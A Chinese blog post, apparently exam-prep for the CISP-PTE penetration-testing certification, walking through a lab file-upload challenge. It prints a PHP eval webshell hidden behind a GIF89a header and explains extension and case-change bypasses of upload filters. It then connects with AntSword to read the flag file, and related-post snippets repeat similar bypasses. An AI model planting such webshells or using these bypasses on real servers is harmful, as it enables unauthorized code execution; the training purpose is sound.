CISP-PTE认证考试之文件上传

最新推荐文章于 2024-02-29 17:53:32 发布
最新推荐文章于 2024-02-29 17:53:32 发布
阅读量467 收藏 1
点赞数
分类专栏： cisp-pte备考 文章标签： php 开发语言 web安全 网络安全 安全性测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_58544284/article/details/131208338
版权

靶场获取

hunter搜索：body=“cisp-pte 认证考试” 获取免费靶场
在这里插入图片描述

CISP-PTE认证考试-文件上传

在这里插入图片描述

尝试任意文件上传php一句话

提示图片上传失败，首先想到利用图片马获取shell
在这里插入图片描述

制作图片马

可以制作图片马，或者修改文件头GIF89a。
图片马测试成功，这里尝试GIF89a头绕过。
给一句话木马文件修改为如下

GIF89a
<?php @eval($_POST['1']);?>

在这里插入图片描述
php木马文件后缀改为png
在这里插入图片描述

上传图片马

注意把文件后缀改回php
注意把eval函数改为Eval用于内容检测绕过
在这里插入图片描述

成功上传并访问

发现木马已解析
在这里插入图片描述

蚁剑连接webshell

在这里插入图片描述

获取flag

flag文件存在于/var/www/html/key.cisp
在这里插入图片描述

c-4
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
cisp-pte靶场第二题文件上传通关及思路
li_minjian的博客
01-04 4637
1.文件上传题 2.文件上传点 3.尝试上传php文件，发现只能上传图片文件 4.尝试生成一个图片马 copy/b 1.jpeg+2.txt 3.jpeg 生成3.jpeg 5.上传3.jpeg，bp抓包 改包，大小写绕过 6.访问3.php文件 7.菜刀连接拿到key.php ...
pte-文件上传总结
weixin_51387754的博客
10-15 1046
首页 > CISP > 考试问答 > CISP-PTE是什么考试 CISP-PTE是什么考试 CISP 责任编辑：唐丹平 2022-05-20 摘要：CISP-PTE中文全称是注册渗透测试工程师，英文为Certified Information Security Professiona - Penetration Testing Engineer。 CISP-PTE是册渗透测试工程师认证考试，证书持有人主要从事信息安全技术领域渗透测试工作，具有漏洞验证、制定渗透测试方案与测试计划、编写测试用例、实施测试、
备考CISP-PTE之文件上传
网安君的博客
08-29 1120
备考CISP-PTE
渗透测试CISP-PTE：文件上传
未知2066的博客
02-29 982
文件上传漏洞是一种常见的安全漏洞，指的是攻击者可以通过上传恶意文件来执行任意代码或获取系统权限。这种漏洞通常出现在Web应用程序中，攻击者利用漏洞可以上传包含恶意代码的文件，然后通过访问该文件来执行攻击。
模拟cisp-pte 第二题文件上传
小明师傅博客
06-13 2776
查看源代码发现白名单没写在js前端中 我们优先弄个图片马插入一句话，防检测文件头 上传php3 Content-Type的值是application/octet-stream， 上传文件时，Content-Type的值改image/jpeg 菜刀连 成功
pte练习文件上传
m0_56129970的博客
05-24 186
cmd命令行中输入：copy tp.png/b + mm.php/a tpm.jpg生成一张名叫tpm.jpg的图片马，用编辑器打开图片马，后面有一句话木马就说明图片马生成成功。上传成功了，但蚁剑链接不上，我想可能是对内容做了过滤，于是将一句话木马做点绕过改为<?这个时候就得上bp去改一改了，首先准备一张图片马，先个图片和一句话木马<?上传图片马，bp抓包，将后缀改为php，图片头改为GIF89a,然后放包。上传成功，访问出现这样页面便是成功了。题目做了过滤，只支持图片上传。蚁剑连接找到key值。
cisp-pte考试环境下载-原题 题库.txt
03-06
注册信息安全专业人员-渗透测试方向注册考试是为了锻炼考生实际解决网络安全问题的能力，有效提升我国网络安全防御能力，促进国家企事业单位网络安全健康发展，为发现人才，选拔优秀人才而设立的技能水平...PTE考试专用
cisp-pte考试环境下载-原题 题库
04-01
本考试为业内首家实操型渗透测试技术水平注册考试，考试内容从多个角度出发，将客观题与实操题两者结合，来考核考生的全面能力。通过多个得分点，充分检验考生对于最新网络安全技术的掌握程度，展现考生在真实的网络...
【推荐】渗透测试工程师（CISP-PTE）认证培训课件资料合集（18份）.zip
11-29
推荐，注册信息安全专业人员渗透测试工程师（CISP-PTE）认证培训课件资料合集，共18份。 001-Linux操作系统安全V2.0.pptx 002-Windows操作系统安全V2.0.pptx 003-数据库安全.pptx 004-Web安全基础0 - 介绍.pptx 005...
cisp-pte渗透测试资源下载 （考试环境+题库）
11-26
cisp-pte渗透测试资源下载 ，包括 考试环境、题目。
CISP-PTE讲义.zip
05-05
CISP-PTE认证教程讲义 001-linux操作系统安全V2.0 002-windows操作系统安全V2.0 003-数据库安全 004-Web安全基础0 005-Web安全基础1 - HTTP协议 006-Web安全基础2 - 注入漏洞 007-Web安全基础3 - XSS漏洞 008-Web安全基础4 - 请求伪造漏洞 009-Web安全基础5 - 文件处理漏洞 010-Web安全基础6 - 访问控制漏洞 011-Web安全基础7 - 会话管理漏洞 012-Web安全基础8 - 实战练习 013-Apache-finished 014-IIS 015-jb
CISP-PTE白皮书
08-08
CISP-PTE认证考试白皮书，打算考这个认证的可以看一下
CISP-PTE靶场（win+centos）.zip
最新发布
03-13
pte-win2003.rar pte-centos(新可用).rar CISP-PTE靶场搭建方法.rar
【PTE练习】文件上传-pikachu
leo788的博客
12-12 259
1.禁用JS脚本只允许上传图片，格式错误提醒但是抓不到包，右键查看源码找到，然后即可跳过js验证完成php文件上传。
【PTE练习】文件上传upload-labs
leo788的博客
12-12 546
12题用的是GET方法，13题是POST方法，换汤不换药，但是在post中的截断不是在url中显示，因此其不需要url编码。其中，这里先执行首尾删除空格-删除末尾点-以点作为分隔-转换为小写-去除文件流-首尾删除空格，利用此在后缀处添加（点空格点）进行绕过，经过过滤后的后缀名带点，绕过黑名单php后缀。查看源码，其对文件类型进行判别，所以是MIME类型，将2.php上传后修改其类型为image/jpeg，转发包，成功。缺少空格，但是后缀中的空格会被系统删掉，所以通过抓包修改后缀名+空格。
【CISP-PTE】upload-labs通关简介
西原一点红的博客
06-26 129
类型：前端校验判断上传1.php 弹出前端校验框绕过第一步：抓包第二步：鼠标右键—>Do intercept—>Response to this request—>fowward修改文件验证类型为.php第三步：web上传1.php第四步：释放包。
CISP-PTE实操练习讲解
lza20001103的博客
07-05 3784
CISP-PTE实操练习讲解
CISP-PTE实操练习题讲解二（新版）
lza20001103的博客
08-06 6913
CISP-PTE实操练习题讲解二（新版）
CISP-PTE web渗透通关攻略
DG_s1mple
12-09 1422
想考一个cisp-pte的证，最近在网上找了一下，找到一些资料，就先做了顺便把过程记录下来 这是老靶场打开页面告诉我们需要读取/tmp/360/key文件，我们把它记下来，然后点击进入答题 进入到如下界面 把sql输入的句子直接显示在页面上了，我们开始用HackerBar测试 发现输入1’)报错无法返回 输入1’)%23可以正常返回页面可以确定注入条件了，然后我们开始测试它的字段数量 发现空格被过滤了，我们使用注释来绕过/**/ 发现为4的时候页面可以正常返回，为5的时候不返回 确定字段数量为5
CISP-PTE认证考试
09-25
CISP-PTE认证考试是一项注册信息安全专业人员-渗透测试工程师的资格认证考试。要成为注册信息安全专业人员-渗透测试工程师，需要满足以下基本要求：具备一定渗透测试能力，或有意向从事渗透测试的人员，包括信息安全相关专业高校生；同意并遵守CISP-PTE职业准则；满足CISP-PTE注册要求并通过审核；通过CISP-攻防领域考试中心组织的CISP-PTE考试。CISP-PTE注册资格证书的有效期为三年，届满前60天需提出维持换证申请。该认证考试专注于培养和考核高级实用型网络安全渗透测试安全人才，是业界首个理论与实践相结合的网络安全专项技能水平注册考试。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值